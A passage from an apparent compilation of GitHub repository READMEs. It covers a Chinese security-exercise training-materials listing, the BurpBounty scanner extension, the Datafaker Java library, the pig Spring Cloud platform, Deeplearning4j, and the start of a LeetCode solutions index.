应急响应-护网Linux应急处置操作手册-Tools篇.url │   ├── 【应急响应】windows入侵检查流程.pdf │   └── 护网行动专项应急演练方案.pdf ├── 9.护网行动培训材料 │   ├── HW01-护网保障概述-v2.0.pdf │   ├── HW02-前期自查工作要点-v2.0.pdf │   ├── HW03-资产梳理实战指导-v1.1.pdf │   ├── HW04-漏洞扫描实施标准-v1.0.pdf │   ├── HW05-常见安全漏洞加固-v1.0.pdf │   ├── HW06-弱口令扫描实施标准-v1.0.pdf │   ├── HW07-网络安全防护分析-v1.0.pdf │   ├── HW08-关键安全配置解析-v1.5.pdf │   ├── HW09-安全加固实施标准-v1.0.pdf │   ├── HW10-NTI平台使用培训-v1.0.pdf │   ├── HW11-态势感知平台分析培训-v1.0.pdf │   ├── HW12-IPS分析培训-v1.0.pdf │   ├── HW12-WAF分析培训-v1.0.pdf │   ├── HW13-ESPC平台分析培训-v1.0.pdf │   ├── HW14-TAC产品分析培训-v1.0.pdf │   ├── HW15-全流量平台分析培训-v1.0.pdf │   ├── HW16-告警日志分析技术-v1.1.pdf │   ├── HW17-快速应急响应技术-v1.0.pdf │   ├── HW18-安全事件闭环流程管理-v1.0.pdf │   └── HW19-对抗攻击思路及常用手法解析-v1.0.pdf ├── 更多HW资料.txt ├── 奇安信-实战攻防之紫队视角下的实战攻防演习组织.pdf ├── 奇安信-实战攻防演习之红队视角下的防御体系突破.pdf └── 奇安信-实战攻防演习之蓝队视角下的防御体系构建.pdf 10 directories, 82 files ``` **路过的HXD记得给个star+follwer！** [其他资料下载地址一](https://mir.cr/RUZ0EHNA) [其他资料下载地址二](http://disk.scan.cm/zlsec/zlsec_info/document/HW)

wagiro/BurpBounty

Burp Bounty (Scan Check Builder in BApp Store) is a extension of Burp Suite that allows you, in a quick and simple way, to improve the active and passive scanner by means of personalized rules through a very intuitive graphical interface.

2018-05-30T12:51:50Z

[](https://github.com/wagiro/BurpBounty/releases) [](https://github.com/wagiro/BurpBounty/issues) []() [](https://github.com/wagiro/BurpBounty/) [](https://github.com/wagiro/BurpBounty/) [](https://twitter.com/intent/follow?screen_name=burpbounty) # Burp Bounty Free - Scan Check Builder (BApp Store) This Burp Suite extension allows you, in a quick and simple way, to improve the active and passive burpsuite scanner by means of personalized rules through a very intuitive graphical interface. Through an advanced search of patterns and an improvement of the payload to send, we can create our own issue profiles both in the active scanner and in the passive.<br/> Download releases: * https://github.com/wagiro/BurpBounty/releases/ <br/>If you need more power, I invite you to try the new <b>Burp Bounty Pro</b>, which gives you more power and automation during your manual pentests. <br/>More information at: [https://burpbounty.net](https://burpbounty.net) and [Burp Bounty Pro vs Free](https://burpbounty.net/burp-bounty-pro-vs-free/). ## Usage * Go to [Usage](https://github.com/wagiro/BurpBounty/wiki/usage) section or the slides of [Ekoparty Security Conference](https://burpbounty.net/burp-bounty-ekoparty-2020/). ## Profiles * Thanks to [Six2dez1](https://github.com/six2dez) for collect all of the Burp Bounty profiles and also share their own. You can find the collection [HERE](https://github.com/wagiro/BurpBounty/tree/master/profiles/) * Also thanks to: - [Xer0Days](https://twitter.com/Xer0Days) - [Gocha](https://twitter.com/GochaOqradze) - [Sy3Omda](https://twitter.com/Sy3Omda) - [Syed](https://twitter.com/syed__umar) - [n00py1](https://twitter.com/n00py1) - [legik](https://github.com/legik) All of them have contributed by sharing their Burp Bounty profiles ### For example videos please visit our youtube channel: * [YouTube](https://www.youtube.com/channel/UCSq4R2o9_nGIMHWZ4H98GkQ/videos) <br/> **Blind RCE with BurpBounty using Burp Collaborator<br/>** [](https://www.youtube.com/watch?v=kcyUueb56aM) <br/> ## Special Thanks * Thanks to [Nexsus](https://twitter.com/Nexsus1985) for helping me to detect errors in the extension and thus be able to solve them.

datafaker-net/datafaker

Generating fake data for the JVM (Java, Kotlin, Groovy) has never been easier!

2021-12-30T00:07:31Z

# Data Faker [](http://mvnrepository.com/artifact/net.datafaker/datafaker) [](http://www.apache.org/licenses/LICENSE-2.0.html) [](https://codecov.io/gh/datafaker-net/datafaker) This library is a modern fork of [java-faker](https://github.com/DiUS/java-faker) with up to date libraries and several newly added Fake Generators. Datafaker 2.x has Java 17 as the minimum requirement. *If Java 17 is not an option for you, you can choose to use Datafaker 1.x. Datafaker 1.x is built on Java 8, but this version is no longer maintained. We recommend all users to upgrade to Datafaker 2.x.* This library generates fake data, similar to other fake data generators, such as: * Ruby's [faker](https://github.com/stympy/faker) gem * Perl's [Data::Faker](https://metacpan.org/pod/Data::Faker) library * Python [faker](https://faker.readthedocs.io/en/master/) package * PHP [faker](https://fakerphp.github.io/) library * Javascript [Faker.js](https://github.com/faker-js/faker) library It's useful when you're developing a new project and need some pretty data for showcase. ## Usage In the pom.xml, add the following fragment to the `dependencies` section: ```xml <dependency> <groupId>net.datafaker</groupId> <artifactId>datafaker</artifactId> <version>2.2.2</version> </dependency> ``` For Gradle users, add the following to your build.gradle file. ```groovy dependencies { implementation 'net.datafaker:datafaker:2.2.2' } ``` You can also use the snapshot version (`2.2.3-SNAPSHOT`), which automatically gets published after every push to the main branch of this repository. Binary repository URL for snapshots download is `https://s01.oss.sonatype.org/content/repositories/snapshots/`. ### Get started In your Java code: ```java Faker faker = new Faker(); String name = faker.name().fullName(); // Miss Samanta Schmidt String firstName = faker.name().firstName(); // Emory String lastName = faker.name().lastName(); // Barton String streetAddress = faker.address().streetAddress(); // 60018 Sawayn Brooks Suite 449 ``` Or in your Kotlin code: ```kotlin val faker = Faker() val name = faker.name().fullName() // Miss Samanta Schmidt val firstName = faker.name().firstName() // Emory val lastName = faker.name().lastName() // Barton val streetAddress = faker.address().streetAddress() // 60018 Sawayn Brooks Suite 449 ``` JShell ``` # from project root folder jshell --class-path $(ls -d target/*.jar | tr '\n' ':') | Welcome to JShell -- Version 17.0.4 | For an introduction type: /help intro jshell> import net.datafaker.Faker; jshell> var faker = new Faker(); faker ==> net.datafaker.Faker@c4437c4 jshell> faker.address().city(); $3 ==> "Brittneymouth" jshell> faker.name().fullName(); $5 ==> "Vernie Schmidt" ``` ### Expressions ```java Faker faker = new Faker(); faker.expression("#{letterify 'test????test'}"); // testqwastest faker.expression("#{numerify '#test#'}"); // 3test5 faker.expression("#{templatify 'test','t','q','@'}"); // @esq faker.expression("#{examplify 'test'}"); // ghjk faker.expression("#{regexify '[a-z]{4,10}'}"); // wbevoa faker.expression("#{options.option '23','2','5','$','%','*'}"); // * faker.expression("#{date.birthday 'yy DDD hh:mm:ss'}"); // 61 327 08:11:45 faker.expression("#{csv '1','name_column','#{Name.first_name}','last_name_column','#{Name.last_name}'}"); // "name_column","last_name_column" // "Sabrina","Kihn" faker.expression("#{json 'person','#{json ''first_name'',''#{Name.first_name}'',''last_name'',''#{Name.last_name}''}','address','#{json ''country'',''#{Address.country}'',''city'',''#{Address.city}''}'}"); // {"person": {"first_name": "Barbie", "last_name": "Durgan"}, "address": {"country": "Albania", "city": "East Catarinahaven"}} ``` also more examples at https://www.datafaker.net/documentation/expressions/ ### Collections ```java Faker faker = new Faker(); List<String> names = faker.collection( () -> faker.name().firstName(), () -> faker.name().lastName()) .len(3, 5) .generate(); System.out.println(names); // [Skiles, O'Connell, Lorenzo, West] ``` more examples about that at https://www.datafaker.net/documentation/sequences/ ### Streams ```java Faker faker = new Faker(); // generate an infinite stream Stream<String> names = faker.stream( () -> faker.name().firstName(), () -> faker.name().lastName()) .generate(); ``` ### Formats #### Schema There are 2 ways of data generation in specific formats 1. Generate it from scratch 2. There is already a sequence of objects and we could extract from them some values and return it in specific format For both cases we need a `Schema` which could describe fields and a way of data generation. In case of generation from scratch `Suppliers` are enough, in case of transformation `Functions` are required #### CSV ```java // transformer could be the same for both CsvTransformer<Name> transformer = CsvTransformer.<Name>builder().header(true).separator(",").build(); // Schema for from scratch Schema<Name, String> fromScratch = Schema.of(field("firstName", () -> faker.name().firstName()), field("lastname", () -> faker.name().lastName())); System.out.println(transformer.generate(fromScratch, 2)); // POSSIBLE OUTPUT // "first_name" ; "last_name" // "Kimberely" ; "Considine" // "Mariela" ; "Krajcik" // ---------------------- // Schema for transformations Schema<Name, String> schemaForTransformations = Schema.of(field("firstName", Name::firstName), field("lastname", Name::lastName)); // Here we pass a collection of Name objects and extract first and lastnames from each element System.out.println( transformer.generate( faker.collection(faker::name).maxLen(2).generate(), schemaForTransformations)); // POSSIBLE OUTPUT // "first_name" ; "last_name" // "Kimberely" ; "Considine" // "Mariela" ; "Krajcik" ``` #### JShell ``` # from project root folder jshell --class-path $(ls -d target/*.jar | tr '\n' ':') | Welcome to JShell -- Version 17.0.4 | For an introduction type: /help intro jshell> import net.datafaker.Faker; jshell> import net.datafaker.providers.base.Name; jshell> import net.datafaker.transformations.Schema; jshell> import net.datafaker.transformations.CsvTransformer; jshell> import static net.datafaker.transformations.Field.field; jshell> var faker = new Faker(); faker ==> net.datafaker.Faker@c4437c4 jshell> Schema fromScratch = ...> Schema.of(field("firstName", () -> faker.name().firstName()), ...> field("lastname", () -> faker.name().lastName())); fromScratch ==> net.datafaker.transformations.Schema@306a30c7 jshell> CsvTransformer<Name> transformer = ...> CsvTransformer.<Name>builder().header(false).separator(",").build(); transformer ==> net.datafaker.transformations.CsvTransformer@506c589e jshell> System.out.println(transformer.generate(fromScratch, 2)); "firstName","lastname" "Darcel","Schuppe" "Noelle","Smitham" ``` #### JSON ```java Schema<Object, ?> schema = Schema.of( field("firstName", () -> faker.name().firstName()), field("lastName", () -> faker.name().lastName()) ); JsonTransformer<Object> transformer = JsonTransformer.builder().build(); String json = transformer.generate(schema, 2); // [{"firstName": "Oleta", "lastName": "Toy"}, // {"firstName": "Gerard", "lastName": "Windler"}] ``` More complex examples and other formats like YAML, XML could be found at https://www.datafaker.net/documentation/formats/ ### Unique Values ```java Faker faker = new Faker(); // The values returned in the following lines will never be the same. String firstUniqueInstrument = faker.unique().fetchFromYaml("music.instruments"); // "Flute" String secondUniqueInstrument = faker.unique().fetchFromYaml("music.instruments"); // "Clarinet" ``` More examples can be found in https://www.datafaker.net/documentation/unique-values ### Custom provider Add your own custom provider in your app following steps from https://www.datafaker.net/documentation/custom-providers/ Documentation ----- [Getting started](https://www.datafaker.net/documentation/getting-started/). Contributions ------------- See [CONTRIBUTING.md](https://github.com/datafaker-net/datafaker/blob/main/CONTRIBUTING.md) If this is your first time contributing then you may find it helpful to read [FIRST_TIME_CONTRIBUTOR.md](https://github.com/datafaker-net/datafaker/blob/main/FIRST_TIME_CONTRIBUTOR.md) Providers ----- The list below is not complete and shows only a part of available providers. To view the full list of providers, please follow the link: [Full list of providers](https://www.datafaker.net/documentation/providers/). * Address * Ancient * Animal * App * Appliance * Aqua Teen Hunger Force * Artist * Australia * Avatar * Aviation * AWS * Azure * Babylon 5 * Back To The Future * Barcode * Baseball * Basketball * Battlefield 1 * Beer * Big Bang Theory * Blood Type * Bojack Horseman * Book * Bool * Bossa Nova * Brand * Breaking Bad * Brooklyn Nine-Nine * Buffy * Business * CNPJ ([Brazilian National Registry of Legal Entities](https://en.wikipedia.org/wiki/CNPJ)) * CPF ([Brazilian individual taxpayer registry identification](https://en.wikipedia.org/wiki/CPF_number)) * Camera * Cat * Chuck Norris * Clash of Clans * Code * Coin * Color * Commerce * Community * Company * Compass * Computer * Control * Country * Credit Card Type * Cricket * Crypto * Currency * Date and Time * DC Comics * Demographic * Departed * Dessert * Device * Disease * Doctor Who * Dog * Domain * Doraemon * Dragon Ball * Driving License * Dumb and Dumber * Dune * Durations * Educator * Elden Ring * Elder Scrolls * Electrical Components * Emoji * England Football * Esports * Fallout * Family Guy * Famous Last Words * File * Final Space * Finance * Food * Formula 1 (:racing_car:) * Friends * Fullmetal Alchemist: Brotherhood * Funny Name * Futurama * Game Of Thrones * Garment Size * Gender * Ghostbusters * Grateful Dead * Greek Philosopher * Hacker * Harry Potter * Hashing * Hearthstone * Heroes of the Storm * Hey Arnold * Hipster * Hitchhiker's Guide To The Galaxy * Hobbit * Hobby * Horse * House * How I Met Your Mother * IdNumber * Industry Segments * Internet * Job * Joke * K-pop (Korean popular music) * Kaamelott * Language Code * League Of Legends * Lebowski * Locality * Lord Of The Rings * Lorem * Marketing * Marvel Snap * Mass Effect * Matz * MBTI * Measurement * Medical * Military * Minecraft * Money * Money Heist * Mood * Mountaineering * Mountains * Movie * Music * Name * Naruto * Nation * Nato Phonetic Alphabet * Nigeria * Number * One Piece * Options * Oscar Movie * Overwatch * Passport * Password * Phone Number * Photography * Planet * Pokemon * Princess Bride * Programming Language * Red Dead Redemption 2 * Relationship Terms * Resident Evil * Restaurant * Rick and Morty * Robin * Rock Band * RuPaul's Drag Race * Science * Seinfeld * Shakespeare * Silicon Valley * Simpsons * Sip * Size * Slack Emoji * Soul Knight * Space * StarCraft * StarTrek * Stock * Studio Ghibli * Subscription * Super Mario * Superhero * Tea * Team * The IT Crowd * Time * Touhou * Tron * Twin Peaks * Twitter * University * Vehicle * Verb * Volleyball * Weather * Witcher * Yoda * Zelda Usage with Locales ----- ```java Faker faker = new Faker(new Locale("YOUR_LOCALE")); ``` For example: ```java new Faker(new Locale("en", "US")).address().zipCodeByState("CA")); ``` Supported Locales ----- * ar * bg * ca * ca-CAT * cs * da-DK * de * de-AT * de-CH * el-GR * en * en-AU * en-au-ocker * en-BORK * en-CA * en-GB * en-IND * en-MS * en-NEP * en-NG * en-NZ * en-PAK * en-SG * en-UG * en-US * en-ZA * en-PH * es * es-MX * fa * fi-FI * fr * he * hu * in-ID * it * ja * ka * ko * nb-NO * nl * pl * pt * pt-BR * ru * sk * sv * sv-SE * tr * uk * vi * zh-CN * zh-TW LICENSE ------- Copyright (c) 2024 Datafaker.net See the LICENSE file for license rights and limitations.

pig-mesh/pig

↥ ↥ ↥ 点击关注更新，基于 Spring Cloud 2023 、Spring Boot 3.2、 OAuth2 的 RBAC 权限管理系统

2019-08-26T03:24:53Z

<p align="center"> <img src="https://img.shields.io/badge/Pig-3.7-success.svg" alt="Build Status"> <img src="https://img.shields.io/badge/Spring%20Cloud-2023-blue.svg" alt="Coverage Status"> <img src="https://img.shields.io/badge/Spring%20Boot-3.2-blue.svg" alt="Downloads"> <img src="https://img.shields.io/badge/Vue-3.4-blue.svg" alt="Downloads"> <img src="https://img.shields.io/github/license/pig-mesh/pig"/> </p> ## 系统说明 - 基于 Spring Cloud 、Spring Boot、 OAuth2 的 RBAC **企业快速开发平台**， 同时支持微服务架构和单体架构 - 提供对 Spring Authorization Server 生产级实践，支持多种安全授权模式 - 提供对常见容器化方案支持 Kubernetes、Rancher2 、Kubesphere、EDAS、SAE 支持 #### 分支说明 - jdk17: java17/21 + springboot 3.2 + springcloud 2023 - master: java8 + springboot 2.7 + springcloud 2021 #### 文档视频 - 🔥 [ 配套文档 wiki.pig4cloud.com](https://wiki.pig4cloud.com) #### 其他产品 - 👉🏻 [PIGX 在线体验](http://home.pig4cloud.com:38081) - 👉🏻 [自研BPMN工作流引擎](http://home.pig4cloud.com:38082) - 👉🏻 [大模型 RAG 知识库](http://home.pig4cloud.com:38083) ## 微信群 [禁广告]  ## 快速开始 ### 核心依赖 | 依赖 | 版本 | |-----------------------------|------------| | Spring Boot | 3.2.4 | | Spring Cloud | 2023.0.1 | | Spring Cloud Alibaba | 2022.0.0.0 | | Spring Authorization Server | 1.2.4 | | Mybatis Plus | 3.5.6 | | Vue | 3.4 | | Element Plus | 2.6 | ### 模块说明 ```lua pig-ui -- https://gitee.com/log4j/pig-ui pig ├── pig-boot -- 单体模式启动器[9999] ├── pig-auth -- 授权服务提供[3000] └── pig-common -- 系统公共模块 ├── pig-common-bom -- 全局依赖管理控制 ├── pig-common-core -- 公共工具类核心包 ├── pig-common-datasource -- 动态数据源包 ├── pig-common-log -- 日志服务 ├── pig-common-oss -- 文件上传工具类 ├── pig-common-mybatis -- mybatis 扩展封装 ├── pig-common-seata -- 分布式事务 ├── pig-common-security -- 安全工具类 ├── pig-common-swagger -- 接口文档 ├── pig-common-feign -- feign 扩展封装 └── pig-common-xss -- xss 安全封装 ├── pig-register -- Nacos Server[8848] ├── pig-gateway -- Spring Cloud Gateway网关[9999] └── pig-upms -- 通用用户权限管理模块 └── pig-upms-api -- 通用用户权限管理系统公共api模块 └── pig-upms-biz -- 通用用户权限管理系统业务处理模块[4000] └── pig-visual └── pig-monitor -- 服务监控 [5001] ├── pig-codegen -- 图形化代码生成 [5002] └── pig-quartz -- 定时任务管理台 [5007] ``` ### 本地开发 运行 pig 提供了详细的[部署文档 wiki.pig4cloud.com](https://www.yuque.com/pig4cloud/pig/vsdox9)，包括开发环境安装、服务端代码运行、前端代码运行等。 请务必**完全按照**文档部署运行章节 进行操作，减少踩坑弯路！！ ### Docker 运行 ``` # 下载并运行服务端代码 git clone https://gitee.com/log4j/pig.git -b jdk17 cd pig && mvn clean install && docker-compose up -d # 下载并运行前端UI git clone https://gitee.com/log4j/pig-ui.git cd pig-ui && npm install -g cnpm --registry=https://registry.npm.taobao.org cnpm install && cnpm run build:docker && cd docker && docker-compose up -d ``` ## 免费公开课 <table> <tr> <td><a href="https://www.bilibili.com/video/av45084065" target="_blank"><img src="https://minio.pigx.top/oss/1655474345.jpg"></a></td> <td><a href="https://www.bilibili.com/video/av77344954" target="_blank"><img src="https://minio.pigx.top/oss/1656837143.jpg"></a></td> </tr> <tr> <td><a href="https://www.bilibili.com/video/BV1J5411476V" target="_blank"><img src="https://minio.pigx.top/oss/1655474369.jpg"></a></td> <td><a href="https://www.bilibili.com/video/BV14p4y197K5" target="_blank"><img src="https://minio.pigx.top/oss/1655474381.jpg"></a></td> </tr> </table> ## 开源共建 ### 开源协议 pig 开源软件遵循 [Apache 2.0 协议](https://www.apache.org/licenses/LICENSE-2.0.html)。 允许商业使用，但务必保留类作者、Copyright 信息。  ### 其他说明 1. 欢迎提交 [PR](https://dwz.cn/2KURd5Vf)，注意对应提交对应 `dev` 分支 代码规范 [spring-javaformat](https://github.com/spring-io/spring-javaformat) <details> <summary>代码规范说明</summary> 1. 由于 <a href="https://github.com/spring-io/spring-javaformat" target="_blank">spring-javaformat</a> 强制所有代码按照指定格式排版，未按此要求提交的代码将不能通过合并（打包） 2. 如果使用 IntelliJ IDEA 开发，请安装自动格式化软件 <a href="https://repo1.maven.org/maven2/io/spring/javaformat/spring-javaformat-intellij-idea-plugin/" target="_blank"> spring-javaformat-intellij-idea-plugin</a> 3. 其他开发工具，请参考 <a href="https://github.com/spring-io/spring-javaformat" target="_blank"> spring-javaformat</a> 说明，或`提交代码前`在项目根目录运行下列命令（需要开发者电脑支持`mvn`命令）进行代码格式化 ``` mvn spring-javaformat:apply ``` </details> 2. 欢迎提交 [issue](https://gitee.com/log4j/pig/issues)，请写清楚遇到问题的原因、开发环境、复显步骤。

deeplearning4j/deeplearning4j

Suite of tools for deploying and training deep learning models using the JVM. Highlights include model import for keras, tensorflow, and onnx/pytorch, a modular and tiny c++ library for running math code and a java based math library on top of the core c++ library. Also includes samediff: a pytorch/tensorflow like library for running deep learning using automatic differentiation.

2013-11-27T02:03:28Z

<p align="center"> <img src="https://www.zeljkoobrenovic.com/tools/tech/images/eclipse_deeplearning4j.png"> </p> [](https://deeplearning4j.konduit.ai/) [](https://community.konduit.ai/) [](https://javadoc.io/doc/org.deeplearning4j/deeplearning4j-nn) [](https://javadoc.io/doc/org.nd4j/nd4j-api) [](LICENSE)  The **[Eclipse Deeplearning4J](https://deeplearning4j.konduit.ai/)** (DL4J) ecosystem is a set of projects intended to support all the needs of a JVM based deep learning application. This means starting with the raw data, loading and preprocessing it from wherever and whatever format it is in to building and tuning a wide variety of simple and complex deep learning networks. Because Deeplearning4J runs on the JVM you can use it with a wide variety of JVM based languages other than Java, like Scala, Kotlin, Clojure and many more. The DL4J stack comprises of: - **DL4J**: High level API to build MultiLayerNetworks and ComputationGraphs with a variety of layers, including custom ones. Supports importing Keras models from h5, including tf.keras models (as of 1.0.0-beta7) and also supports distributed training on Apache Spark - **ND4J**: General purpose linear algebra library with over 500 mathematical, linear algebra and deep learning operations. ND4J is based on the highly-optimized C++ codebase LibND4J that provides CPU (AVX2/512) and GPU (CUDA) support and acceleration by libraries such as OpenBLAS, OneDNN (MKL-DNN), cuDNN, cuBLAS, etc - **SameDiff** : Part of the ND4J library, SameDiff is our automatic differentiation / deep learning framework. SameDiff uses a graph-based (define then run) approach, similar to TensorFlow graph mode. Eager graph (TensorFlow 2.x eager/PyTorch) graph execution is planned. SameDiff supports importing TensorFlow frozen model format .pb (protobuf) models. Import for ONNX, TensorFlow SavedModel and Keras models are planned. Deeplearning4j also has full SameDiff support for easily writing custom layers and loss functions. - **DataVec**: ETL for machine learning data in a wide variety of formats and files (HDFS, Spark, Images, Video, Audio, CSV, Excel etc) - **LibND4J** : C++ library that underpins everything. For more information on how the JVM acceses native arrays and operations refer to [JavaCPP](https://github.com/bytedeco/javacpp) - **Python4J**: Bundled cpython execution for the JVM All projects in the DL4J ecosystem support Windows, Linux and macOS. Hardware support includes CUDA GPUs (10.0, 10.1, 10.2 except OSX), x86 CPU (x86_64, avx2, avx512), ARM CPU (arm, arm64, armhf) and PowerPC (ppc64le). ## Community Support For support for the project, please go over to https://community.konduit.ai/ ## Using Eclipse Deeplearning4J in your project Deeplearning4J has quite a few dependencies. For this reason we only support usage with a build tool. ```xml <dependencies> <dependency> <groupId>org.deeplearning4j</groupId> <artifactId>deeplearning4j-core</artifactId> <version>1.0.0-M2.1</version> </dependency> <dependency> <groupId>org.nd4j</groupId> <artifactId>nd4j-native-platform</artifactId> <version>1.0.0-M2.1</version> </dependency> </dependencies> ``` Add these dependencies to your pom.xml file to use Deeplearning4J with the CPU backend. A full standalone project example is [available in the example repository](https://github.com/eclipse/deeplearning4j-examples), if you want to start a new Maven project from scratch. ## Code samples Due to DL4J being a multi faceted project with several modules in the mono repo, we recommend looking at the examples for a taste of different usages of the different modules. Below we'll link to examples for each module. 1. ND4J: https://github.com/deeplearning4j/deeplearning4j-examples/tree/master/nd4j-ndarray-examples 2. DL4J: https://github.com/deeplearning4j/deeplearning4j-examples/tree/master/dl4j-examples 3. Samediff: https://github.com/deeplearning4j/deeplearning4j-examples/tree/master/samediff-examples 4. Datavec: https://github.com/deeplearning4j/deeplearning4j-examples/tree/master/data-pipeline-examples 5. Python4j: https://deeplearning4j.konduit.ai/python4j/tutorials/quickstart For users looking for being able to run models from other frameworks, see: 1. Onnx: https://github.com/deeplearning4j/deeplearning4j-examples/tree/master/onnx-import-examples 2. Tensorflow/Keras: https://github.com/deeplearning4j/deeplearning4j-examples/tree/master/tensorflow-keras-import-examples ## Documentation, Guides and Tutorials You can find the official documentation for Deeplearning4J and the other libraries of its ecosystem at http://deeplearning4j.konduit.ai/. ## Want some examples? We have separate repository with various examples available: https://github.com/eclipse/deeplearning4j-examples ## Building from source It is preferred to use the official pre-compiled releases (see above). But if you want to build from source, first take a look at the prerequisites for building from source here: https://deeplearning4j.konduit.ai/multi-project/how-to-guides/build-from-source. Various instructions for cpu and gpu builds can be found there. Please go to our [forums](https://community.konduit.ai/) for further help. ## Running tests In order to run tests, please see the platform-tests module. This module only runs on jdk 11 (mostly due to spark and bugs with older scala versions + JDK 17) platform-tests allows you to run dl4j for different backends. There are a few properties you can specify on the command line: 1. backend.artifactId: this defaults to nd4j-native and will run tests on cpu,you can specify other backends like nd4j-cuda-11.6 2. dl4j.version: You can change the dl4j version that the tests run against. This defaults to 1.0.0-SNAPSHOT. More parameters can be found here: https://github.com/deeplearning4j/deeplearning4j/blob/c1bf8717e4839c8930e9c43183bf7b94d0cf84dc/platform-tests/pom.xml#L47 ## Running project in Intellij IDEA: 1. Ensure you follow https://stackoverflow.com/questions/45370178/exporting-a-package-from-system-module-is-not-allowed-with-release on jdk 9 or later 2. Ignore all nd4j-shade submodules. Right click on each folder and click: Maven -> Ignore project ## License [Apache License 2.0](LICENSE) ## Commercial Support Deeplearning4J is actively developed by the team at [Konduit K.K.](https://konduit.ai). [If you need any commercial support feel free to reach out to us. at [support@konduit.ai](mailto:support@konduit.ai)

awangdev/leet-code

Java Solutions to problems on LintCode/LeetCode

2015-04-25T19:14:09Z

 > Disclaimer: 这里的题目跟具体的面试毫无关系, 也没有任何指向性; 这些题目是我当年在努力刷题的过程中积累下来的经验和总结! # 简介 这个站点已经开启超过7年, 很高兴它可以帮到有需要的人. 信息有价, 知识无价, 每逢闲暇, 我会来维护这个repo, 给刷题的朋友们一些我的想法和见解. 下面来简单介绍一下: - **README.md**: 所有所做过的题目 - **ReviewPage.md**: 所有题目的总结和归纳（不断完善中） - **KnowledgeHash2.md**: 对所做过的知识点的一些笔记 - **SystemDesign.md**: 对系统设计的一些笔记 # 001 | about 土汪 [tuwangbrick.substack.com](https://tuwangbrick.substack.com/) 是2022年开启的一个news letter周刊, 每周一更新, 内容是一些工作上遇到的思考, 介绍些遇到的新工具, 偶尔吐槽. 欢迎大家订阅我的周刊. 或者订阅RSS Feed: https://tuwangbrick.substack.com/feed. ○ 📅 欢迎大家在[Calendly](http://calendly.com/tuwang/catchup)上跟我约时间1:1, 聊工作生活 ○ 👨‍💻 Social Media: [YouTube](https://www.youtube.com/c/Tuwang), [小红书](https://www.xiaohongshu.com/user/profile/5ab4157c4eacab63a8d11187?xhsshare=CopyLink&appuid=5ab4157c4eacab63a8d11187), [B站](https://b23.tv/9fuyMh6), [Twitter](https://twitter.com/TuWangZ) ○ 🎙 Podcast: 土汪遛弯儿 ([小宇宙](https://www.xiaoyuzhoufm.com/podcast/626ef6323e8abf901a68d8bd), [Spotify](https://open.spotify.com/show/6YbZ3aEUx4vpyz5soHsIEC), [Apple Podcast](https://podcasts.apple.com/us/podcast/%E5%9C%9F%E6%B1%AA%E9%81%9B%E5%BC%AF%E5%84%BF/id1571623057)) ○ 💬 Chat: 微信 TuwangZ, [Discord - tuwang](https://discord.gg/Qep9TrJUm9) [Youtube 频道: 土汪遛弯儿](https://www.youtube.com/c/Tuwang)未来会持续更新在北美科技行业工作的故事和经验. 有任何程序员工作的疑问, 可以加入上面的discord留言. * [我拒绝了Uber $200万刀/4y的Offer | I declined the $2M offer from Uber and went to ...](https://youtu.be/RtQFzb77dGY) * [薪资大公开 - 2021年, 北美软件工程师, 一年赚多少? (Google vs Amazon) | How much do I make as a Software Engineer (2021)](https://youtu.be/nmgyT_m1j3s) * [为什么我选择放弃亚马逊的工作 | Why I left Amazon as a Software Engineer (2021)](https://youtu.be/BBpivK4I_8U) * [曾经的留级生, 今天一线大厂软件工程师! | The making of a software engineer(2021)](https://youtu.be/cACqlpXKRpY) * [看了这些, 还想去美国留学吗? 我的留学经历 (2020)](https://youtu.be/XqOA5q5Rtpw) * [如何拿到亚马逊的工作! How succeed in Amazon Interview! (2019)](https://youtu.be/NIuOjjKaK9M) * [十分钟学会Python? (2019)](https://youtu.be/DRQYOdO9BAU) * [刚到美国到底怎样开口说英文? (2019)](https://youtu.be/pd3WR5K-bLs) 希望大家学习顺利, 对未来充满希望! # 002 | 目录 Java Algorithm Problems | Leetcode# | Problem | Level | Tags | Time | Space | Language | Sequence | |:---------:|:------------|:------:|:----:|-----:|------:|:--------:|---------:| |N/A|[Jump Game II.java](https://github.com/awangdev/LintCode/blob/master/Java/Jump%20Game%20II.java)|Hard|[Array, Coordinate DP, DP, Greedy]|O(n)|O(1)|Java|0| |N/A|[Majority Number II.java](https://github.com/awangdev/LintCode/blob/master/Java/Majority%20Number%20II.java)|Medium|[Enumeration, Greedy]|||Java|1| |N/A|[Search a 2D Matrix II.java](https://github.com/awangdev/LintCode/blob/master/Java/Search%20a%202D%20Matrix%20II.java)|Medium|[Binary Search, Divide and Conquer]|||Java|2| |N/A|[Missing Ranges.java](https://github.com/awangdev/LintCode/blob/master/Java/Missing%20Ranges.java)|Medium|[Array]|||Java|3| |N/A|[Inorder Successor in BST.java](https://github.com/awangdev/LintCode/blob/master/Java/Inorder%20Successor%20in%20BST.java)|Medium|[BST, Tree]|||Java|4| |N/A|[Convert Integer A to Integer B.java](https://github.com/awangdev/LintCode/blob/master/Java/Convert%20Integer%20A%20to%20Integer%20B.java)|Easy|[Bit Manipulation]|||Java|5| |N/A|[Backpack VI.java](https://github.com/awangdev/LintCode/blob/master/Java/Backpack%20VI.java)|Medium|[Backpack DP, DP]|||Java|6| |N/A|[Total Occurrence of Target.java](https://github.com/awangdev/LintCode/blob/master/Java/Total%20Occurrence%20of%20Target.java)|Medium|[]|||Java|7| |N/A|[House Robber III.java](https://github.com/awangdev/LintCode/blob/master/Java/House%20Robber%20III.java)|Medium|[DFS, DP, Status DP, Tree]|||Java|8| |N/A|[Binary Tree Maximum Path Sum II.java](https://github.com/awangdev/LintCode/blob/master/Java/Binary%20Tree%20Maximum%20Path%20Sum%20II.java)|Medium|[DFS, Tree]|||Java|9| |N/A|[Backpack V.java](https://github.com/awangdev/LintCode/blob/master/Java/Backpack%20V.java)|Medium|[Backpack DP, DP]|||Java|10| |N/A|[Closest Number in Sorted Array.java](https://github.com/awangdev/LintCode/blob/master/Java/Closest%20Number%20in%20Sorted%20Array.java)|Easy|[Binary Search]|||Java|11| |N/A|[Convert Expression to Polish Notation.java](https://github.com/awangdev/LintCode/blob/master/Java/Convert%20Expression%20to%20Polish%20Notation.java)|Hard|[Binary Tree, DFS, Expression Tree, Stack]|||Java|12| |N/A|[Missing Number.java](https://github.com/awangdev/LintCode/blob/master/Java/Missing%20Number.java)|Easy|[Array, Bit Manipulation, Math]|||Java|13| |N/A|[Restore IP Addresses.java](https://github.com/awangdev/LintCode/blob/master/Java/Restore%20IP%20Addresses.java)|Medium|[Backtracking, DFS, String]|||Java|14| |N/A|[Linked List Cycle II.java](https://github.com/awangdev/LintCode/blob/master/Java/Linked%20List%20Cycle%20II.java)|Medium|[Linked List, Math, Two 